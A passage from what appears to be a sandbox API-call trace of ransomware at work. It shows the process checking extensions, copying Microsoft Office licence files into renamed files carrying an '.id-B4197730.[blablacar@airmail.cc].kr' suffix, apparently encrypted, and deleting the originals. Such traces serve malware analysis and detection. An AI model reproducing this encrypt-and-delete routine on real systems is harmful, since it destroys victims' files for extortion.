(lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.992] lstrlenW (lpString=".ppt") returned 4 [0211.992] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms") returned 88 [0211.992] lstrlenW (lpString=".zip") returned 4 [0211.992] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.992] lstrlenW (lpString=".rar") returned 4 [0211.992] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.992] lstrlenW (lpString=".bz2") returned 4 [0211.992] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.992] lstrlenW (lpString=".7z") returned 3 [0211.992] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms") returned 88 [0211.993] lstrlenW (lpString=".dbf") returned 4 [0211.993] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms") returned 88 [0211.993] lstrlenW (lpString=".1cd") returned 4 [0211.993] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms") returned 88 [0211.993] lstrlenW (lpString=".jpg") returned 4 [0211.993] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms") returned 88 [0211.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms") returned 88 [0211.993] lstrlenW (lpString=".doc") returned 4 [0211.993] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.993] lstrlenW (lpString=".docx") returned 5 [0211.993] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.993] lstrlenW (lpString=".pdf") returned 4 [0211.993] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.993] lstrlenW (lpString=".xls") returned 4 [0211.993] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.993] lstrlenW (lpString=".xlsx") returned 5 [0211.993] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.993] lstrlenW (lpString=".ppt") returned 4 [0211.993] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms") returned 88 [0211.993] lstrlenW (lpString=".zip") returned 4 [0211.993] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.993] lstrlenW (lpString=".rar") returned 4 [0211.993] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.993] lstrlenW (lpString=".bz2") returned 4 [0211.993] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.993] lstrlenW (lpString=".7z") returned 3 [0211.993] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms") returned 88 [0211.994] lstrlenW (lpString=".dbf") returned 4 [0211.994] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms") returned 88 [0211.994] lstrlenW (lpString=".1cd") returned 4 [0211.994] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms") returned 88 [0211.994] lstrlenW (lpString=".jpg") returned 4 [0211.994] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.994] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0211.994] lstrlenW (lpString="PersonalR_OEM_Perp-ppd.xrm-ms") returned 29 [0211.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0211.995] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=20994) returned 1 [0211.995] CloseHandle (hObject=0x56c) returned 1 [0211.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ppd.xrm-ms")) returned 0x220 [0211.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0211.995] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.995] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0211.996] GetLastError () returned 0x0 [0211.996] ReadFile (in: hFile=0x56c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x5202, lpOverlapped=0x0) returned 1 [0211.999] WriteFile (in: hFile=0x4d4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x5210, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x5210, lpOverlapped=0x0) returned 1 [0212.000] ReadFile (in: hFile=0x56c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.000] WriteFile (in: hFile=0x4d4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x10e, lpOverlapped=0x0) returned 1 [0212.000] SetEndOfFile (hFile=0x4d4) returned 1 [0212.000] CloseHandle (hObject=0x4d4) returned 1 [0212.000] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.000] SetEndOfFile (hFile=0x56c) returned 1 [0212.003] CloseHandle (hObject=0x56c) returned 1 [0212.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.004] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ppd.xrm-ms")) returned 1 [0212.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms") returned 79 [0212.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms") returned 79 [0212.004] lstrlenW (lpString=".doc") returned 4 [0212.004] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.004] lstrlenW (lpString=".docx") returned 5 [0212.005] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.005] lstrlenW (lpString=".pdf") returned 4 [0212.005] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.005] lstrlenW (lpString=".xls") returned 4 [0212.005] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.005] lstrlenW (lpString=".xlsx") returned 5 [0212.005] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.005] lstrlenW (lpString=".ppt") returned 4 [0212.005] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms") returned 79 [0212.005] lstrlenW (lpString=".zip") returned 4 [0212.005] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.005] lstrlenW (lpString=".rar") returned 4 [0212.005] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.005] lstrlenW (lpString=".bz2") returned 4 [0212.005] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.005] lstrlenW (lpString=".7z") returned 3 [0212.005] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms") returned 79 [0212.005] lstrlenW (lpString=".dbf") returned 4 [0212.005] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms") returned 79 [0212.005] lstrlenW (lpString=".1cd") returned 4 [0212.005] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms") returned 79 [0212.005] lstrlenW (lpString=".jpg") returned 4 [0212.005] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms") returned 79 [0212.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms") returned 79 [0212.005] lstrlenW (lpString=".doc") returned 4 [0212.005] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.005] lstrlenW (lpString=".docx") returned 5 [0212.005] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.006] lstrlenW (lpString=".pdf") returned 4 [0212.006] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.006] lstrlenW (lpString=".xls") returned 4 [0212.006] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.006] lstrlenW (lpString=".xlsx") returned 5 [0212.006] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.006] lstrlenW (lpString=".ppt") returned 4 [0212.006] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms") returned 79 [0212.006] lstrlenW (lpString=".zip") returned 4 [0212.006] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.006] lstrlenW (lpString=".rar") returned 4 [0212.006] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.006] lstrlenW (lpString=".bz2") returned 4 [0212.006] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.006] lstrlenW (lpString=".7z") returned 3 [0212.006] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms") returned 79 [0212.006] lstrlenW (lpString=".dbf") returned 4 [0212.006] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms") returned 79 [0212.006] lstrlenW (lpString=".1cd") returned 4 [0212.006] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ppd.xrm-ms") returned 79 [0212.006] lstrlenW (lpString=".jpg") returned 4 [0212.006] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.007] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0212.007] lstrlenW (lpString="PersonalR_OEM_Perp-ul-oob.xrm-ms") returned 32 [0212.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0212.007] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11597) returned 1 [0212.007] CloseHandle (hObject=0x56c) returned 1 [0212.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0212.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0212.008] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.008] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0212.009] GetLastError () returned 0x0 [0212.009] ReadFile (in: hFile=0x56c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d4d, lpOverlapped=0x0) returned 1 [0212.011] WriteFile (in: hFile=0x4d4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0212.012] ReadFile (in: hFile=0x56c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.012] WriteFile (in: hFile=0x4d4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x114, lpOverlapped=0x0) returned 1 [0212.012] SetEndOfFile (hFile=0x4d4) returned 1 [0212.012] CloseHandle (hObject=0x4d4) returned 1 [0212.012] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.012] SetEndOfFile (hFile=0x56c) returned 1 [0212.014] CloseHandle (hObject=0x56c) returned 1 [0212.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.015] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ul-oob.xrm-ms")) returned 1 [0212.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms") returned 82 [0212.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms") returned 82 [0212.016] lstrlenW (lpString=".doc") returned 4 [0212.016] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.016] lstrlenW (lpString=".docx") returned 5 [0212.016] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.016] lstrlenW (lpString=".pdf") returned 4 [0212.016] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.016] lstrlenW (lpString=".xls") returned 4 [0212.016] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.016] lstrlenW (lpString=".xlsx") returned 5 [0212.016] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.016] lstrlenW (lpString=".ppt") returned 4 [0212.016] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms") returned 82 [0212.016] lstrlenW (lpString=".zip") returned 4 [0212.016] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.016] lstrlenW (lpString=".rar") returned 4 [0212.016] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.016] lstrlenW (lpString=".bz2") returned 4 [0212.016] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.016] lstrlenW (lpString=".7z") returned 3 [0212.016] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms") returned 82 [0212.016] lstrlenW (lpString=".dbf") returned 4 [0212.016] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms") returned 82 [0212.016] lstrlenW (lpString=".1cd") returned 4 [0212.016] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms") returned 82 [0212.016] lstrlenW (lpString=".jpg") returned 4 [0212.016] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms") returned 82 [0212.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms") returned 82 [0212.016] lstrlenW (lpString=".doc") returned 4 [0212.016] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0212.017] lstrlenW (lpString=".docx") returned 5 [0212.017] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0212.017] lstrlenW (lpString=".pdf") returned 4 [0212.017] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0212.017] lstrlenW (lpString=".xls") returned 4 [0212.017] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0212.017] lstrlenW (lpString=".xlsx") returned 5 [0212.017] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0212.017] lstrlenW (lpString=".ppt") returned 4 [0212.017] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0212.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms") returned 82 [0212.017] lstrlenW (lpString=".zip") returned 4 [0212.017] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0212.017] lstrlenW (lpString=".rar") returned 4 [0212.017] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0212.017] lstrlenW (lpString=".bz2") returned 4 [0212.017] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0212.017] lstrlenW (lpString=".7z") returned 3 [0212.017] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0212.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms") returned 82 [0212.017] lstrlenW (lpString=".dbf") returned 4 [0212.017] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0212.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms") returned 82 [0212.017] lstrlenW (lpString=".1cd") returned 4 [0212.017] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0212.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-oob.xrm-ms") returned 82 [0212.017] lstrlenW (lpString=".jpg") returned 4 [0212.017] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0212.017] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0212.017] lstrlenW (lpString="PersonalR_OEM_Perp-ul-phn.xrm-ms") returned 32 [0212.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0212.018] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=19942) returned 1 [0212.018] CloseHandle (hObject=0x56c) returned 1 [0212.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0212.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0212.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0212.019] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.019] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0212.020] GetLastError () returned 0x0 [0212.020] ReadFile (in: hFile=0x56c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x4de6, lpOverlapped=0x0) returned 1 [0212.022] WriteFile (in: hFile=0x4d4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x4df0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x4df0, lpOverlapped=0x0) returned 1 [0212.023] ReadFile (in: hFile=0x56c, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.023] WriteFile (in: hFile=0x4d4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x114, lpOverlapped=0x0) returned 1 [0212.023] SetEndOfFile (hFile=0x4d4) returned 1 [0212.023] CloseHandle (hObject=0x4d4) returned 1 [0212.023] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.023] SetEndOfFile (hFile=0x56c) returned 1 [0212.026] CloseHandle (hObject=0x56c) returned 1 [0212.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0212.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personalr_oem_perp-ul-phn.xrm-ms")) returned 1 [0212.027] lstrlenW (lpString="C:\\Program Files\\Microsoft 